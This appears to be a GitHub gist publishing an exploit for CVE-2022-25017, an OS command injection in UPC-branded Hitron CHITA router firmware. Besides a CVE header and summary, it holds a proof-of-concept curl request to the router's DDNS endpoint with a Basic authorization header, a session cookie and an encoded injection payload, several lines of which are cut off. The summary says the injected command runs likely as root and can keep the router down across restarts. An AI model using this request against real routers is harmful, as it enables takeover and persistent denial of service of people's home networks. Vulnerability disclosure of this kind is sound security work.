zaee-k / gist:390b2f8e50407e4b199df806baa7e4ef

Hitron CHITA OS Command Injection (UPC Branded)

gistfile1.txt

```
# Exploit Title: Hitron CHITA OS Command Injection to DoS
# Software: Hitron Technologies CHITA Router Firmware (UPC branded)
# Version: 7.2.2.0.3b6-CD
# Author: `zaeek` (GBTI SA)
# CVE: CVE-2022-25017
# CWE: CWE-77 | CWE-400
# Date: 15.04.2021
# CVSSv3: 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Summary: A command injection vulnerability in Hitron CHITA router allows execution of OS commands.
  Due to improper sanitization of user-supplied data it is possible to input addition OS shell syn
  Additionally it is possible to cause a Denial of Service by injecting a command which isn't limi
  Even after router restart, the injected command is started during router startup, causing the ro
  The Denial of Service case is a subject to deeper testing, because of the limited time which we

PoC:

curl 'http://192.168.0.1/1/Device/DDNS' \
        -H 'User-Agent: Mozilla/5.0 Firefox/85.0' \
        -H 'Accept: application/json, text/javascript, */*; q=0.01' \
        -H 'Accept-Language: en-US,en;q=0.5' \
        --compressed \
        -H 'Content-Type: application/x-www-form-urlencoded' \
        -H 'X-HTTP-Method-Override: PUT' \
        -H 'X-Requested-With: XMLHttpRequest' \
        -H 'Origin: http://192.168.0.1' \
        -H 'DNT: 1' \
        -H 'Authorization: Basic YWRtaW46YWNldHlsb2Nob2xpbmE=' \
        -H 'Connection: keep-alive' -H 'Referer: http://192.168.0.1/webpages/index.html' \
        -H 'Cookie: sessionindex=0&userid=e9JwY6BG6rPLnFXUM1mV6gK5Zxq7ND4Z; sessionToken=158648499
        -H 'Pragma: no-cache' \
```

```
32          -H 'Cache-Control: no-cache' \
33          --data-raw 'model=%7B%22errCode%22%3A%22000%22%2C%22errMsg%22%3A%22%22%2C%22ddnsOnOff%22%3A
34
35  In the above curl example, an OS command inject vulnerability allows to execute local system binar
36  The injected command will be executed, most likely with root privileges. If the injected command i
```